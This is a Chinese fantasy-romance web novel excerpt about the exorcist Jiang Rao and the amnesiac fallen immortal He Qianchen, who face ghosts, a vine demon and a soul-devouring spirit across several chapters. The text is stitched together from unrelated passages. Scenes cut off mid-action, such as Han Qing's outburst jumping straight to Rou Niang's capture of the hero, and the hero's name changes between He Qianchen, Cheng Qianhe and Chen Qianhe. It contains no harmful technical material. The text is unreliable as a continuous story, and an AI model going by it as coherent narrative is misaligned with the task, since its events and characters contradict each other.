灵树是灵族至宝,无论是落下来的叶子还是自然脱落的树枝,皆是不可得的宝贝。 树枝编制的手环可抵挡一次致命伤,而叶子磨成粉末喝下去,是能给使用者带来几分好运。 姜桡只希望这几分好运,能让盘旋在贺千宸头顶的霉云能安分点,也能避免黑雾再次钻进霉云体内。 此时贺千宸见阿桡只是抱着他,迟迟没有其他动作后,便有些疑惑的睁开眼,在看见阿桡那十分安宁的睡颜,才知后觉反应过来,脸颊瞬间爆红。 他刚刚到底在想什么!! 贺千宸侧着头,微垂眼眸,就连呼吸都不敢太大声,他安静的盯着睡得香甜的阿桡,目光从那双好看的眉眼处,落在晶莹饱满的唇上。 “阿桡!” 贺千宸声音温柔又带着几分沙哑。 姜桡睡姿不是很好,抱着贺千宸紧瘦的腰身睡了一会后,又翻滚到墙角处。 贺千宸则起身,先给阿桡盖好了被子,才坐到桌前,单手撑着额头,就这样睡了一晚。 说是睡了一晚上,其实也不全是。 方才在底下就已经有无数双眼睛盯着他,见里头安静下来后,就准备悄悄动手。 客栈的掌柜也不管这些,这事司空见惯,何况人死了,也能加道菜。 就打扫要费些功夫罢了。 孙管家搓了搓手,语气奉承道:“姜大师,那这符……” 姜桡倒也信守承诺,边低头从挎包中翻找黄符,边不经意开口问。 “除了韩老夫人这事外,茶庄中还有发生别的奇怪事情吗?” 孙管家接黄符的手微微一顿,他似是想到什么,脸上神情瞬间变的难看起来,他迅速把黄符塞进怀里,脸上露出一个比哭还要难看的笑。 “姜大师……我……我只是个下人,你就不要再为难我了。” 说完,孙管家就急忙忙跑开,那摸样似是身后有什么追赶他似的。 姜桡也不生气,抬头看了眼站在旁侧中看不中用的贺千宸,随即伸手捂嘴,打了一个大大的哈欠。 “我要进屋睡一会,你别乱跑。” 许是怕出什么意外,姜桡低头从挎包中拿出一把黄符,她没怎么细数,直接塞到贺千宸的手里,嘴里则小声嘀咕着。 “拿着防身。” 贺千宸的眼底露出一抹错愕,目光沉沉的盯着手中那厚厚一叠黄符,他瞧的出来,这里头可是一张废符都没有,微凉的指腹下意识摩挲手中的黄符。 半响,才轻声开口。 “都给我?” 声音略有些低沉与沙哑。 姜桡轻“嗯”一声,还以为贺千宸是嫌不够:“只能给你这么多防身,余下的我还要自己用。” 话音落后,她又忍不住打个哈欠。 姜桡昨夜可是趴在桌上睡一宿,压根就没休息好,她边哈欠连连地朝厢房方向走,边叮嘱贺千宸。 “你可别乱跑。” 姜桡倒也不是好心,只是想着舍不得孩子套不着狼。 被困在殇魂的地盘,她怎么可能安心睡个好觉,可若有贺千宸守着那就不一样,虽他失忆什么都想不起来,但有自己给的黄符,就算那殇魂过来,也是能对付几下子。 那对付几下子发出的声响,足以让姜桡从睡眠梦醒过来。 沐浴在阳光下的贺千宸依旧垂眸盯着手中那叠黄符,他蹙紧眉心,眼底掠过一丝迷茫,可似是又想起什么不好的事,贺千宸的身上突然散发出深戾阴冷的气息,那双狭长的丹凤眼竟是冷意。 半响。 贺千宸将手中的那叠黄纸塞入怀中,转身朝屋内走去。 姜桡已经躺在床榻上睡的正香,此时和煦的阳光透过镂空细花的木窗,洒在那水晶帘上,落她的身上,贺千宸眸色深暗的走上前,居高临下的打量着这个女人。 睡着的姜桡显得很安静,不似醒来时候的那么鲜活,许是睡的太沉,那小小的翘鼻正发出轻轻的鼾声,粉嫩泛着水光的嘴唇也微微敞开一点空隙。 贺千宸逆光而站,将落在姜桡身上的日光挡去大半,他神情淡漠盯了许久,最终转身坐在厢房内那张圆形木桌前,唇角下压,那张俊美无铸的脸上第一次露出烦躁的神情。 生死契,杀不得。 沉浸在睡梦中的姜桡很快就人吵醒,她听着耳边传来“嗡嗡”的声音,她烦躁的蹙紧眉,伸出手将起赶走。 还未彻底清醒过来的姜桡只觉得手被谁给紧紧的抓紧,在手腕接触到对方那冰冷肌肤触的瞬间,她忍不住打了个寒颤,并不由自主的想将手抽回来。 直至耳边再次响起那“嗡嗡”的声音,姜桡才不情不愿的睁开眼,随即撞入贺千宸那幽深的目光中,那一瞬间,姜桡彻底清醒过来,她不由自主的咽了咽口水,目光挪到被贺千宸进握的手腕上。 “有……有事吗?” 贺千宸嘴角带着浅浅的笑意,眼底却一片冷意,他松开那散发热意的手腕,开口道。 “有人找你。” 姜桡瞥见摆放在圆形木桌上的食盒,见贺千宸似笑非笑的盯着自己,她连忙爬站起来,有些落荒而逃的赶到厢房外。 院外,两名年纪较小的侍女正规规矩矩的站在那,稚嫩的脸上露出担忧的神情,此时正低着脑袋凑在一起,不知道在嘀咕着什么,在瞥见姜桡出来后,两人直接跪了下来,开始哀求起来。 “姜大师,求求你,也给张黄符我们保命吧。” 今日众人见姜大师用黄符降住从韩老夫人棺材中爬出来的邪物,大少爷又以百两的价格买下十张黄符,想着那黄符定是有威震邪祟鬼怪的作用,故此下人们商议一番后,决定派两人过来求符。 两名小侍女正想着若姜大师不愿给他们黄符,该怎么办时,却听见一声“好”,她们神情一怔,随即不可思议的抬起头。 姜桡良心不多,也不做亏本的生意。 “我想知道一些事,你们得诚实回答。” 两名小侍女犹豫许久,最终点头。 她们身上都是生契,并非死契,总不能为了主子家的那点秘密,把自己命都给赔进去吧。 姜桡被阳光照的不由眯起眼,看着跪在自己面前的两人,有些不舒服。 “你们先起来。” 两名小侍女连忙起身,眼巴巴的盯着姜桡。 姜桡问的问题其实很简单。 “这茶庄中经常有野猫出现吗?” 两名小侍女你看看我,我看看你,最终左边那名小侍女犹豫的半响,才将声音压得很低很轻说道。 “我听厨房烧火的阿婆说,阿茶山庄坐落阿茶山的半山腰,早之前茶庄周边是有许些野猫的,可后来不知怎么就都消失不见,茶庄中有人说……” 小侍女停顿片刻,继续道:“说是胡娘是个修得人身的狐妖子,半夜去茶庄外觅食,那茶庄外的野猫野兔都进到她的肚子里去了。” 姜桡闻言,神情略微有些诧异,心里忍不住嘀咕这阿茶山庄还真是卧虎藏龙,不过那胡娘是妖狐子也只是下人之间的流言蜚语,不一定是真的。 但阿茶山庄周边的小动物突然消失却有些奇怪。 姜桡似是想到什么:“你们老爷夫人还有胡娘关系如何?” 这豪门之中,夫妻关系,家婆关系尤其复杂,兴许能从中找到一丝有用的线索。 而让姜桡没有想到的是,两名小侍女几乎异口同声道。 “夫人她是个很好的人。” 两名小侍女侧目,相互看了彼此一眼,随即左边小侍女才轻声解释:“夫人待人极好,从不苛待我们。” 姜桡却抓住要点:“那山庄有人苛待你们?” 方才说话的小侍女脸色瞬间苍白如纸,疯狂摇头。 姜桡见状,也不再为难这名小侍女,既是下人,定不敢说太多主子的坏话,她话锋一转:“像你们这样的下人有多少人,夜里住宿是多人住一起?” 小侍女连忙道:“茶庄的下人近百,十人住一间大通铺。” 姜桡低头从挎包中掏出十张黄符递过去,开口叮嘱:“贴在门后面,一张就够了,余下分给其他人,用完明日再过来取新的。” 似是想到什么。 “待会能让人送些热水过来吗?我想沐浴。” 两名侍女来之前期望能求一张黄符保命,不曾想眼前的女人会如此大方,一下子给十张黄符不说,还让她们明日来取。 那这样,厨房内烧柴的瑛婆婆还有同乡的阿申哥也能有符护着。 两名侍女脸上立即露出感激的神情,双手发颤的接过黄符的瞬间,只觉得鼻子酸的厉害,并带着哽咽的声音道。 “姜大师你等着,我马上就送热水过来。” 而在两人离开快要离开院子时,左边那么年纪较小的侍女突然停下脚步,然后小跑到姜桡的面前,小声道。 “韩老夫人生前曾被一只体格很大红眼黑猫给吓晕过去,这只红眼黑猫我曾在大少爷的院中见过。” 小侍女将深藏心中的秘密说出来后,只觉得整个都轻松了许些,随即转身离去。 姜桡着实没想到会获得这样的消息,红眼黑猫出现在韩青的院中,可好巧不巧,韩老夫人生前被一只红眼黑猫吓晕过去,随后夜夜噩梦,噩梦中那只红眼黑猫生挖掉她的眼眼珠子,并将其吃掉。 而没多久,韩老夫人死了,眼珠子不知去向。 而死后也不得安宁,谁也没有想到,这只红眼黑猫竟躲在她的棺材里,啃噬了尸骨不说,还差点成精怪酿成大祸。 不管怎么想,都觉得韩青有很大的问题。 那他会是殇魂所寄生的宿主,是导致这场雾气的罪魁祸首吗? 没多久,两名侍从提着两桶热水,两桶凉水过来,还有两名侍女手中拿着崭新的褥单与布衾,四人脸上皆带着感激的神情。 待姜桡痛痛快快洗个热水澡,换上一套干爽的衣裙,那带着湿气的秀发则随意披散在身后,她单手撑着下巴,蹲坐在厢房门前台阶上悠哉的晒太阳,在听见屋内传来贺千宸沐浴的水声后,巴掌大的小脸羞的通红。 这时韩青突然怒不可遏的冲进院中,他将手中的十张黄符狠狠地砸在姜桡脸上。 “你竟敢骗我!这些符根本就没用!” 姜桡那双杏眼露出疑惑的神色:“你是谁?” 柔娘轻笑:“我是柔娘。” 显然她还不想告诉姜桡,而后目光落在贺千宸的身上,上下打量几眼后,脸上才露出满意的神情。 “想救心上人?” 贺千宸反问道:“你要什么?” 柔娘伸出手,一支支绿色的藤蔓像条蛇般蔓延到贺千宸脚下。 原本还垂涎姜桡美色的众人,看到这一幕只觉得惊恐无比,特别是那些认出柔娘的人,纷纷逃离了这个鬼地方。 什么女人不女人,命才是最重要的! 藤蔓缠在贺千宸的脚踝,很快半个身体都被藤蔓包裹的严严实实。 而盘旋在贺千宸头顶的乌云都露出惊慌的神情,并缩成一团,在那瑟瑟发抖。 一直没什么存在感的许念,将绑在小腿处的匕首拿了出来。 陆观棋连忙冲她摇摇头,示意别这样做。 许念并没有听陆观棋,她握紧匕首,直接冲了上去,可还没有触碰到柔娘的身体,一根胳膊大的藤蔓从地底下冒了出来。 藤蔓直接击飞从准备偷袭的许念,她就像断了线的风筝,狠狠的砸落在地面上。 陆观棋眼眶发红的冲过去,将许念那小小的身体紧紧的抱在怀里。 柔娘叹息道:“可真不听话。” 说罢,勒着姜桡脖子的藤蔓微微用力,姜桡呼吸开始急促,眼底也泛出红色血丝。 贺千宸脸上露出心疼的神情,却又不敢有其他动作,生怕再惹怒这个疯女人。 对于贺千宸的态度,柔娘满意极了。 不愧是她看中的人! 藤蔓迅速将贺千宸包裹得严严实实,那支从底下冒出来的藤蔓,直接将人给卷入了地底下。 姜桡只能眼睁睁的看着贺千宸身影消失,而柔娘目的达成后,心情愉悦的对着身边的姜桡道。 “放心,我是不会伤害你的!” “只是麻烦你先睡一会。” “很快…很快…就能跟从前一样。” 姜桡眼前一黑,瞬间失去了意识。 第 24 章 第二十四章 只是隐隐约约之间,她听到一声无奈的叹息。 不知过了多久,姜桡被阵阵痛哭嘶吼声给吵醒。 “姜姑娘!你别死呀!你死了我们可怎么活呀!” “那程公子若杀了回来,瞧你这副模样,一生气也会把我给杀咯!!” “姜姑娘呀!!!” 陆观棋正跪在姜桡面前,用出哭坟的架势在那真情实意的喊着。 他是真怕到时候程公子反杀柔娘,回来看姜姑娘一副快要死的模样,突然发疯把自己也给杀了。 不过陆观棋对姜姑娘也是实打实的关心。 话音落后,整个厅内静的一根针落地都能听见,随即响起一阵阵的爆笑。 这询问让在场所有人都不由哈哈大笑起来,言先生故事说的惟妙惟肖,但也知晓这所谓的南境亦如传闻中的仙山蓬莱般,皆是虚无缥缈的存在。 去寻南境,怕不是在痴人说梦。 姜桡有些不解这群人在笑什么,她抬眸看向还在品茶的贺千宸,想问些什么,可最终还是抿了抿唇,侧身将目光落在底下台上的言先生身上。 只见那名言先生将手中的茶盏轻轻放下,清了清嗓,才缓缓道。 “找寻南境的法子其实很简单,只要一直一直朝南方走,走到南方尽头,若有幸在那拜见传闻中的神女,兴许便可踏入这南境。” 厅内的众人都不禁瞪大眼,随即纷纷窃窃私语起来,质疑这话的真假。 姜桡收回目光,满脸失落,她双手捧着面前的热茶,小声呢喃着。 “撒谎。” 华夏国三岁小孩子都知道,这地球是圆的,按言先生说的朝南一直走,顶多是绕地球一圈。 一直沉默的贺千宸突然开口:“南境的确在南方尽头。” 他声音清润又低醇,似是泉水滴落在上好的玉石上。 姜桡整个人都僵愣住,半响才颤颤的抬起头,在对上贺千宸那似笑非笑的眼眸时,只觉得自己那脆弱的小心脏瞬间吓成好几瓣。 良久,她才鼓起勇气,并小心翼翼地试探道:“你想起来了?” 贺千宸那双狭长地丹凤眼微眯,那深不见底的目光似是一把刀,正一片一片的凌迟姜桡身上的血肉。 他轻“嗯”了声。 姜桡心里不由“咯噔”了声,只觉得小命不保,左手发颤着偷偷摸向放在膝盖上方的挎包,思索着要不要垂死挣扎时,却听贺千宸继续道。 “只想起来这些。” 贺千宸那幽深的目光早已掩盖下去,在姜桡从错愕中回过神后,抬头对上的是一双温润的双眸。 她不确定的问道:“想起哪些?” 贺千宸缓缓勾起嘴角,慢悠悠的一个字一个字的蹦出来:“南境的确在南方尽头。” 姜桡声音发着颤:就这?” 贺千宸点点头,随即一脸无辜:“阿姜,以往的事情我还未想起,你不会嫌我吧。” 姜桡只觉得自己刚刚就像是在坐过山,与死亡插肩而过的瞬间,又安全的抵达的站台。 真叫一个刺激。 不过想想也是,若贺千宸若真的全想起来,哪会同她费这般口舌,早就一爪子掏出自己的心肝,随即扬长而去。 姜桡深深吸口气,平复她那跌宕起伏的情绪,随即巴掌大的小脸硬挤出半丝笑意来。 “恢复记忆这事不能强求,随缘就好。” 贺千宸斜依靠在座椅处,整个人显得极其的慵懒,他左手轻轻摩挲着四方桌的茶盏,在听到姜桡说的这番话后,嘴角荡漾出浅浅的笑意来。 可眉眼处却泛着冷意。 “都听阿姜的。” 姜桡没敢吱声,并迅速转移话题:“待会去给你买几套衣裳吧。” 既然贺千宸说南境就在南方尽头,那定是不会有错,贺千宸虽是罪仙,可在没成罪仙之前,那便是仙人。 这仙人的话能有错! 贺千宸垂眸,瞥了眼身上这件过于穷酸的衣袍,神色淡淡。 底下的言先生开始说起别的故事,说到精彩之处,在场客官更是纷纷喝彩,姜桡付了银钱后,便带贺千宸离开清雅堂。 门外两侧街道皆是商贩摆的摊位,摊位贩卖的有女子用的胭脂,手链或者木梳,姜桡忍不住买了把木梳与跟木簪子,顺便打听最近的布庄。 那布庄的位置不远,就在隔壁的街巷处,姜桡刚走进去,就被各式各色的布料给深深吸引住,随即十分阔气的给自己定下三套衣裙。 布庄的掌柜是名中年女子,在两人进店后,目光便落在贺千宸的身上,这活了大半辈子,还从未遇见容貌这般昳丽的男子,只是穿着也太过寒酸些。 可见一起进来的姑娘出手大方,那胖乎乎的圆脸顿时堆满笑意。 她走上前:“瞧姑娘也不是缺钱的主,店中恰好进了些好料子,不如买下给你家郎君做新衣。” 姜桡也不好当着贺千宸面前婉拒。 “拿出来瞧瞧。” 掌柜连忙将店中的墨紫暗纹云锦拿出来:“瞧这料子,多么衬你家的郎君呀。” 这话并未掺假。 落入店内的阳光照在那云锦之上,那吉云暗纹瞬间绚丽多彩,宛如在那晴朗夜空中漂浮着,若是做成衣裳,也怕只有贺千宸这般相貌的人才能将其压住。 姜桡心里想着有钱:“这匹要了!” 掌柜笑眯眯道:“姑娘,这店中还有一匹松霜绿的云锦。” 姜桡咬咬牙:“也要。” 掌柜听后,都要乐的快找不到北,急忙忙拿出算盘开始扒拉起来。 “姑娘,那两匹云锦可是要店中的绣娘帮忙缝制?” 姜桡点点头:“那是自然。” 掌柜再次将那盘算扒拉起来,店内立即响起噼里啪啦的声响,好一会才停了下来。 “姑娘,拢共算起来八十两。” 姜桡瞬间虎躯一震,音量不由拔高:“多少?” 掌柜柔声道:“姑娘难道不知,云锦乃寸锦寸金,两匹云锦算你七十三两,已是本店最大的让步。” 姜桡不懂什么寸锦寸金,她就知道那两匹破布要七十三两。 这感觉像是去冰柜拿两支包装不错的冰棍,可在付钱的时候,收银员告诉你,两只冰棍一百块。 一不留神,被狠狠的背刺了! 可姜桡是要钱不要脸的人,可她还没来得及开口,从进店就沉默不语的贺千宸却突然开口道。 “阿姜。” 贺千宸缓缓朝着姜桡走去,眼中满是柔意。 “你会给我买对吗?” 在贺千宸那“深情款款”的目光中,姜桡几乎是哭丧着脸,不甘不愿的从挎包中掏出那八十两银子出来。 终于将两匹压箱底的云锦卖出去的掌柜,几乎是毕恭毕敬的将两人送出去。 “可别忘三日后来店中拿衣裳。” 姜桡咬着牙应道:“放心,不会忘。” 那可是她用半条命换来的。 眨眼功夫,包袱中的一百两银票只剩下十九两左右的碎银,而这天色也逐渐暗淡,两人还得找个客栈住下来。 想到那七十三两银子,姜桡对贺千宸也没什么好脸色。 更是在客栈内要了一间厢房后,恶狠狠气昂昂的霸占房内唯一的一张床。 贺千宸看着躺在床榻上背对自己生闷气的姜桡,眸色深暗的盯了半响后,那眼皮便微松下来,那张俊美无俦的脸上则是一片淡漠。 只是在听见床榻那响起轻微的鼾声时,贺千宸不由抬起头凝望在床榻上睡着的姜桡,微微蹙起眉。 翌日。 姜桡从睡梦中醒来时,在对上贺千宸那双清冷的眼眸后,宛如被人泼了一盆冷水,瞬间清醒。 本有点心虚的她忽然想起那七十三两银子,瞬间就理直气壮了起来,边小声的哼了哼,边开口道。 “贺千宸,我们要去南境。” 一宿没睡的贺千宸语气淡淡:“我听阿姜的。” 既要去南境,那事情便多了起来。 首先是打听南方的路线,其次是买好路上干粮等,而在一番打听后,正巧遇见有一队南方的镖车压完货,正准备回去呢。 于是三日后,姜桡带着贺千宸同着这队镖车出了城,朝着南方的方向走去。 这队镖车拢共七人,为首镖头姓扬名木,镖车余人都称呼杨镖头,其次是副镖头张虎,眉间有块刀疤,这两人年纪相仿,关系极好。 余下五人则十分年少,看模样都不过二十。 姜桡今日换的一身翠绿色的长裙,她不怎么会束发,只是用一根木簪随意将齐肩的长发给盘在脑后。 她气鼓鼓的瞪着眼身侧穿的人模狗样的贺千宸,七十三两的云锦才做两套成衣,余下的布料缝制成两个荷包,两条发带,甚至还花了三两银子买了两双长靴。 贺千宸身上穿的是套墨紫暗纹云锦长袍,如丝绸的长发被同色发带束起一半,随着另外一部分长发散在脑后,腰间则悬挂则松霜绿云锦缝制的荷包,更衬的他清冷且矜贵出尘,亦如那高高在上,不问世事的谪仙。 这时杨镖头走过来,十分客气道:“贺公子,你这出游怎就带一名侍女?” 侍女姜桡? 显然贺千宸这身打扮被误认为的哪家出门游玩的世家公子哥,而姜桡则是贴身侍女。 贺千宸也没过多解释,只是淡淡瞥了眼姜桡,随即轻声道。 “怕麻烦。” 杨镖头也没有再询问什么,只是大步向前走在镖车的最前方,这押完镖后,回程的路途是最轻松的。 大家都是嬉笑着赶路,并聊着回去后,拿钱给家里人买些什么。 出了桚城朝南,需走上半个月才可抵达唛城,也是镖车的目的地,而连走五天五夜,众人都没碰到借宿的地方,只好露宿在野外。 好在人多,故此并不用担忧潜伏在黑暗中的野兽, 直至第六天,路过一村子进去讨水喝时,姜桡的衣袖突然被一名身着粗布衣裙,头发略有些凌乱的女子给紧紧扯住,只见她神兮兮道。 “你有瞧见老夫人的眼珠子吗?。” 无比体格,还是相貌,都配得上山神! 姜桡立即慌了起来,如果程千鹤成为山神的容器,那么她的程千鹤就彻彻底底消失。 “那你可知柔娘去处。” 山神刚要说什么,却察觉到柔娘的气息,只能叹口气,不再言语。 从黑暗中慢慢走出来的柔娘眉眼中满是怨念与不解。 “你宁愿跟个陌生人说这么多话,都不愿意与我说一句。” “以前明明不是这样的!” 姜桡警惕的看向柔娘,开口质问:“把陈千鹤还给我。” 柔娘显然是小看了姜桡,一直误以为她只是小角色,不然怎么连自己的伪装都看不破。 “能找到这里也是有点本事。” “不过你的心上人得先帮我一个忙。” 姜桡怎会不知道,那个忙就是成为山神的容器。 第 25 章 第二十五章 可程千鹤才不是什么容器,他是他自己,更是属于姜桡的。 她很生气,玉埙放在嘴边,随着十指舞动,一首低沉且肃杀的音律在洞中响起。 只见五个金色的“微”字缓缓出现,并围绕在姜桡的身侧。 柔娘看到这一幕先是呆愣片刻,而后轻蔑道。 “倒是小看你了!” 高亢的玉埙声响起,漂浮在空中的五个金色“微”字毫不留情的朝柔娘攻去。 前几次姜桡都是以音化形,这次却不同,她的玉埙可唤五音。 许是连下几日雨的缘故,空气中弥散的水分,让祠堂后方的那座山脚下长满密密麻麻切各色各异的菌子,远远的望去,像是一副色彩斑驳的丹青画。 色彩浓烈而又几分诡异。 待靠近后,才发现这片区域似是不在黑河村内,故此没有落雨的痕迹,只见那如金沙的光幕穿过层层树叶的缝隙,斑驳的撒落在地上,形成一块块的光斑,而姜桡的目光被眼前整片整片的菌子深深吸引住,一时竟舍不得落脚。 站在旁侧的贺千宸单手撑着还在滴水的油纸伞,那半张脸沐浴在阳光下,另半张脸隐入阴影中,只见他唇角露出浅浅的笑意,饶有兴趣的盯着面前的景致。 姜桡垂抬头看向正前方被开辟出来的山径,确定没用来错地方后,便立即行动起来,她右手食指中指上翘并拢,大拇指无名指食指微微弯曲,神情严肃。 “八方符灵听我令,阵!” 只见三张黄符从挎包中钻出来,凌空漂浮在姜桡的面前。 “天地阴阳,万物有灵,承师门之令,以符引路,寻魂于此。” 三张黄符似是察觉到什么,“咻”的一声,迅速的朝着左侧上方的方向飞去,姜桡边追过去边对身后的贺千宸道。 “跟紧我。” 周边的道路皆被菌子群所侵占,在追赶黄符时,姜桡不得不踩踏这些色彩鲜艳而又诡异的菌子,只是她注意力都在前方三张黄符上,并未发现菌子在踩踏的瞬间,那些细小菌孢粉也随之喷散在空气之中,它们在光幕下悄无声息的朝着两人所在的方向靠近。 这些是鬼菇的菌孢,虽无毒,但却致幻,若吸入会麻烦的很。 贺千宸神情悠闲的跟在姜桡的身后,他垂下眼眸,长长的眼睫毛如蝶翼般轻轻颤动着,那双眼眸深不见底。 半响。 贺千宸伸出右手,整只手白皙修长,手指似是上好的玉瓷,在阳光下散着淡淡的光泽,他食指在半空中轻轻一点,薄唇轻启。 “风来!” 话音落后,一阵强烈的风出现在贺千宸的周边,将那群细小的菌孢吹的没有踪影,也吹的远处的丛林晃悠着发出“簌簌”的声响。 听到身后动静的姜桡,不由侧身看去,却见贺千宸逆着光长身玉立,衣袂飘逸,如丝绸般的墨发被风吹的有些凌乱,那双细长的丹凤眼正看着自己。 她忍不住问道:“你盯着我做什么?” 贺千宸垂眸,没吭声。 姜桡:…… 见两人之间的距离有些远,她开口叮嘱:“你过来些,不然出什么事,我护不住你。” 姜桡并非好心,而是觉得失忆的贺千宸什么都不记得,更是手无缚鸡之力,眼下是她刷好感的机会,待这祖宗想起来一切,兴许会发发善心,绕她一条小命。 远处那三张黄符停在一棵树后方,它们似是找到了什么,疯狂凌空旋转着。 等姜桡走过去,便瞧见被困在黄符中间的王小虎。 亦如那天晚上,身着青色补丁粗衣,头顶两个红色长线扎的小揪揪,一只脚穿着虎头鞋,另一只脚光着踩在地上,但诡异的是,上次王小虎是左半张脸的五官消失不见,而这次是右半张脸。 王小虎仅有的那只左眼露出惊恐的神情,下意识想逃跑,可却半步都挪动不了。 俨然,是围绕在他身侧的三张黄符,将其镇在此处。 姜桡眉心蹙了蹙,她觉得自己是一回生,二回熟。昨晚第一次瞧见王小虎这副诡异的模样,只觉得心生恐惧,可眼下却没这般感觉。 但总感觉有些不对劲。 她半蹲下来,看着用双手死死捂着自己脸的王小虎,忍不住开口问道:“你这脸怎么一会左一会右的。” 姜桡的疑惑并没有得到解答,她索性直接开门见山。 “你瞧见殇魂吗?” “…………” “昨晚不是让姐姐救救你,怎么现在当哑巴了。” “………………” 姜桡想了想:“你阿娘让我来带你回家,你不想念你阿娘吗?” 话音落后,只有左半边有五官的王小虎缓缓松开手,然后抬起头,许是只有一半嘴,所以说话有些缓慢与含糊不清。 “阿……阿俩。” 王小虎似是想到什么,那双胖乎乎的小肉手紧紧扯着衣角,左眼露出难过的神情。 “不可……可泥找……找阿俩。” 姜桡听清楚王小虎的话后,脸上不由露出诧异的神情,站在旁侧的贺千宸似是知道了什么,嘴角微微下压,长眸微眯。 “为什么不可以找阿娘?” 丢失的魂离开肉体过久是会出事的。 王小虎眼里露出一丝害怕,可不知为何,看着眼前这陌生的姐姐时,就好像感觉到阿娘伸手温柔的摸着他的脸颊,心中的恐惧也随之跟着消失。 “肥去,阿俩……肥有为险,它……它在。” 姜桡瞬间发反应过了,王小虎说的“它”便是殇魂,她连忙柔声安抚着。 “别怕,告诉姐姐,它在哪?” 王小虎垂下眼眸,似是想到什么可怕的事情,语调拔高的大喊。 “它……它就在这。” 姜桡瞬间警惕的环顾四周,并下意识的摸了摸腰间的挎包,随时准备抛黄符战斗,可她在四周找了许久,都没有瞧见有殇魂的存在。 但为何王小虎说,殇魂在这的话? 姜桡脸上不由露出疑惑的神情,只是在抬头看着王小虎光滑无暇,似是白纸般的右半张脸时,脑海中下意识浮现雨中榕树下另一个王小虎的模样。 她突然反应过来,整个人急忙朝后退了好几步。 姜桡忍不住看向身边的贺千宸,小声问道:“是我想的那样吗?” 贺千宸缓缓抬头,眸子十分幽深,他反问着:“哪样?” 姜桡朝贺千宸那边悄悄挪了几步,拉近两人之间的距离,虽贺千宸失忆什么都忘了,但并不妨碍他在姜桡心中的地位。 贴近一点点,安全感就多一些些。 姜桡垂眸,随即压低声音,说出自己的猜测。 “殇魂融合了王小虎一半的魂体。” 贺千宸故作诧异,随即勾起嘴角,那张俊美无俦的脸上露出浅浅的笑意,低垂的眼底露出一抹兴致。 他故作诧异:“呀!那可该如何是好呢?” 姜桡:…… 是她高看了贺千宸,眼下除了一张能看的脸,其他一无是处。 殇魂融合魂体只不过是姜桡的猜测罢了,她也不确信那只殇魂就是昨晚的“王小虎”。 而现在得需问清整件事情的过程。 王小虎被三张黄符困在原地动弹不得,他自是能察觉到方才那个姐姐对自己的恐惧,本来就是四五岁的孩童,又经历这些事情,虽懂事的厉害,但眼下的委屈似是海水般无尽涌来。 那东西为什么要选择自己! 以后是不是再也见不到阿娘了! 王小虎再也忍不住,嚎嚎大哭起来,可却只有左半张脸的缘故,那哭声似是幼猫发出的惨叫声,听的让人瘆得慌。 姜桡只觉得胳膊上的鸡皮疙瘩都全冒了出来,但还是走上前,放软声音的安慰道。 “男子汉大丈夫怎么能哭呢?” “放心!姐姐会帮你把那坏东西赶出去的。” 可王小虎根本听不进这些话,他似是跌入一片汪洋之中,那海水冰冷刺骨,可耳边却响起阿娘呼唤自己的声音。 “小琅!” “小琅,快回家吃饭了。” 王小虎在海水中拼命挣扎着,他想告诉阿娘,你叫错名字了。 不是小琅,是小虎。 还未来得及开口,一阵巨浪忽将王小虎整个人拍入海底,那海底内突然涌出无数只青灰色的手,它们紧紧拽着他小小的身躯,一直一直朝着漆黑的深渊坠去。 耳边依稀传来阿娘那焦急的呼唤声,王小虎急忙拼命挣扎着,他要回到岸上去,他要找阿娘。 不然阿娘找不到自己会难过的。 姜桡一脸惊愕看着面前的王小虎,此时那仅有的半张脸忽然变得模糊,像是一滩水正在慢慢的融化,顺着眼泪水从下颚滴落在地。 不知为何,她感觉到前所未有的恐慌,姜桡下意识伸手抓住王小虎的手,拼命的大喊道。 “你阿娘还在家里等你回来。” “王小虎你听见没有!” 贺千宸站在身后静静的看着这一幕,他面无表情,目光幽深的盯着王小虎那张慢慢融化的半张脸。 丢失的魂体被殇魂盯上,从失去半张脸的那瞬间,这魂体就被殇魂侵占一半。 眼下,这只殇魂已经开始在侵占另外一半魂体,待这半张脸彻底消失后,殇魂就会替代王小虎,回到他的肉身中。 而从昏迷中醒过来的王小虎,他将会再次被这只殇魂一点点吞噬,亦如鸠占鹊巢般。 贺千宸侧目,目光落在姜桡身上,想到事态后续的发展,他的嘴角荡漾出浅浅的笑意来。 姜桡整个人慌的厉害,可心里又很清楚,必须阻止王小虎继续哭下去的行为。 与此同时。 王小虎半边的鼻孔已经消失,眉毛也在慢慢融化。 柔娘脸上露出一抹释怀的笑意,她伸出手用力将菟丝子从地底里头拔了出来,而笼罩在这座荒山的黑雾也开始逐渐消散。 此时姜桡小跑到到贺千宸身边,此时他半个脑袋都被乌云给吞噬其中。 姜桡直接伸手揪住变大的乌云,十分生气道。 “你再不给我恢复原状,信不信我揍你!” 可惜体积变大的乌云,心也跟着膨胀起来。哪还听得进话,甚至还十分嚣张的显现出“你能奈我何”五个字! 姜桡:………… 她直接撸起袖子,双手紧握狠狠的揍了过去。 姜桡几乎是边揍边揪,原本还十分嚣张的乌云痛得显现出“嗷嗷”两个字,体积也迅速缩小求饶。 它低估了这个女人的实力。 嘤嘤嘤,实在是太可怕了! 见小乌云恢复原状,姜桡瞬间松口气,只是在看到贺千宸那没什么血色的脸时,她心里忽然难受的厉害。 第 26 章 第二十六章 原本沉入冰冷刺骨深渊的贺千宸,正在一点点被吞噬,忽看到正前方出现一抹光,它刺破了黑暗,慢慢的朝他飘过来。 那光并不刺眼,反而很温暖。 他忍不住伸出手,想将那抹光拥入在怀里,等意识清醒之后,却发现自己正把阿桡紧紧的抱着。 姜桡原以为“程千鹤”受伤过重,正打算从灵宝袋中翻找翻找,看看有什么灵植灵果,好把人给救回来。 谁知“程千鹤”突然坐起来,然后将自己紧紧地搂在怀里头。 姜桡想了想,放在灵宝袋上的手,环抱到了“程千鹤”那精瘦的腰上,她有些艰难把头扬了起来。 “阿鹤,你有没有哪不舒服?伤口痛不痛?” 贺千宸意识慢慢回拢,他感受到怀里的温暖,与在黑暗中拥抱的那抹光一模一样。 这让贺千宸下意识想用力,将这份温暖抓牢,可又怕弄疼了阿桡,动作也变得十分温柔。 若贺千宸真的失忆,指不定真被唬了过去。 张公更是被姜桡这一嗓子给吓的愣在原地,好半响才回过神来。他猛地想到那老道士可是骗子,这河神发怒定也是瞎扯出地谎言。 姜姑娘说的对,是他们污蔑了河神。 张公拘束的搓着手,脸上露出懊恼的神情,他焦急的问道:“姜姑娘,这可如何是好呀!” 姜姑娘偷偷瞥了眼坐在对面的贺千宸,见他目光落在那碗姜汤上。 “你们是被骗,不是有意,这河神心地善良,定是不会放在心上。” 张公连连点头:“对!河神心地善良,这点小事怎会放在心上呢。” 